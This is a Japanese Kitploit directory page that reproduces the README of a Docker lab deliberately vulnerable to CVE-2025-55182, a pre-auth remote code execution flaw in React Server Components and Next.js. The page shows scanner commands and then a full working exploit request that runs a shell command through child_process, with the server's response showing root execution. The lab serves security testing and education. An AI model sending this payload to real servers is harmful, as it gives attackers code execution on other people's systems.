Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — Dockerベースのラボ。Next.js/React Server ComponentsにおけるCVE-2025-55182(React2Shell RCE)の検出と悪用を目的とし、事前設定済みの脆弱なセットアップとPoCスキャナーを備えています。 | Kitploit
ツール/GitHubGitHub/l4rm4nd/cve-2025-55182
ウェブ脆弱性スキャナー脆弱性分析ウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミングラボと実践
GitHubl4rm4nd/cve-2025-55182

CVE-2025-55182

Dockerベースのラボ。Next.js/React Server ComponentsにおけるCVE-2025-55182(React2Shell RCE)の検出と悪用を目的とし、事前設定済みの脆弱なセットアップとPoCスキャナーを備えています。

リポジトリを見る
862659ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

React2Shell PoC

このリポジトリは、React Server Components と Next.js に影響を与える最近の重大なRCE脆弱性 (React2Shell) に対してセキュリティスキャナをテストするための、意図的に脆弱な最小限の環境を提供します。

CVE-2025-55182: React Server Components バージョン 19.0.0、19.1.0、19.1.1、19.2.0(react-server-dom-parcel、react-server-dom-turbopack、react-server-dom-webpack を含む)には、事前認証のリモートコード実行の脆弱性が存在します。脆弱なコードは、Server Function エンドポイントへの HTTP リクエストからのペイロードを安全でない方法でデシリアライズします。

CVE-2025-66478: App Router を使用する Next.js アプリケーションに対する下流への影響を追跡します。

[!Warning] このセットアップは意図的に脆弱であり、公開インターネットに公開したり、本番環境で使用したりしてはなりません。


これは何か

このアプリは非常に小さな Next.js プロジェクトであり、次のことを行います:

  • 以下の脆弱なバージョンを固定しています:
    • next: 16.0.6
    • react: 19.2.0
    • react-dom: 19.2.0
  • 最小限の NextJS 設定と app router および React server actions を使用します
  • [!TIP] react と react-dom の固定は任意です。影響を受ける next のバージョンは app router のため、デフォルトで影響を受けやすいからです。

    実行方法

    root@kitploit:~
    docker run --rm -p 127.0.0.1:3000:3000 ghcr.io/l4rm4nd/cve-2025-55182:latest
    

    検出方法

    AssetNote Scanner

    AssetNote が提供するスキャナを使用します:

    root@kitploit:~
    git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
    virtualenv venv && source venv/bin/activate && pip install -r requirements.txt
    
    python3 scanner.py -u http://127.0.0.1:3000
    

    実行すると次の結果が返されます:

    root@kitploit:~
    ╰─(venv) ⠠⠵ python3 scanner.py -u http://127.0.0.1:3000             
    
    brought to you by assetnote
    
    [*] Loaded 1 host(s) to scan
    [*] Using 10 thread(s)
    [*] Timeout: 10s
    [*] Using RCE PoC check
    [!] SSL verification disabled
    
    [VULNERABLE] http://127.0.0.1:3000 - Status: 303
    

    Nuclei

    root@kitploit:~
    nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000
    

    実行すると次の結果が返されます:

    root@kitploit:~
    [INF] Templates loaded for current scan: 1
    [WRN] Loading 1 unsigned templates for scan. Use with caution.
    [INF] Targets loaded for current scan: 1
    [CVE-2025-55182] [http] [critical] http://127.0.0.1:3000
    

    悪用方法

    PoC HTTP ペイロードはこちらから。

    root@kitploit:~
    POST / HTTP/1.1
    Host: localhost:3000
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
    Next-Action: x
    X-Nextjs-Request-Id: b5dce965
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
    X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
    Content-Length: 740
    
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="0"
    
    {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": "{\"then\":\"$B1337\"}",
      "_response": {
        "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
        "_chunks": "$Q2",
        "_formData": {
          "get": "$1:constructor:constructor"
        }
      }
    }
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="1"
    
    "$@0"
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
    Content-Disposition: form-data; name="2"
    
    []
    ------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
    
    

    実行すると次の結果が返されます:

    root@kitploit:~
    HTTP/1.1 500 Internal Server Error
    Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    x-nextjs-cache: HIT
    x-nextjs-prerender: 1
    Content-Type: text/x-component
    Date: Fri, 05 Dec 2025 11:53:05 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    Content-Length: 195
    
    0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
    1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}
    
    
    画像
    ツールをダウンロード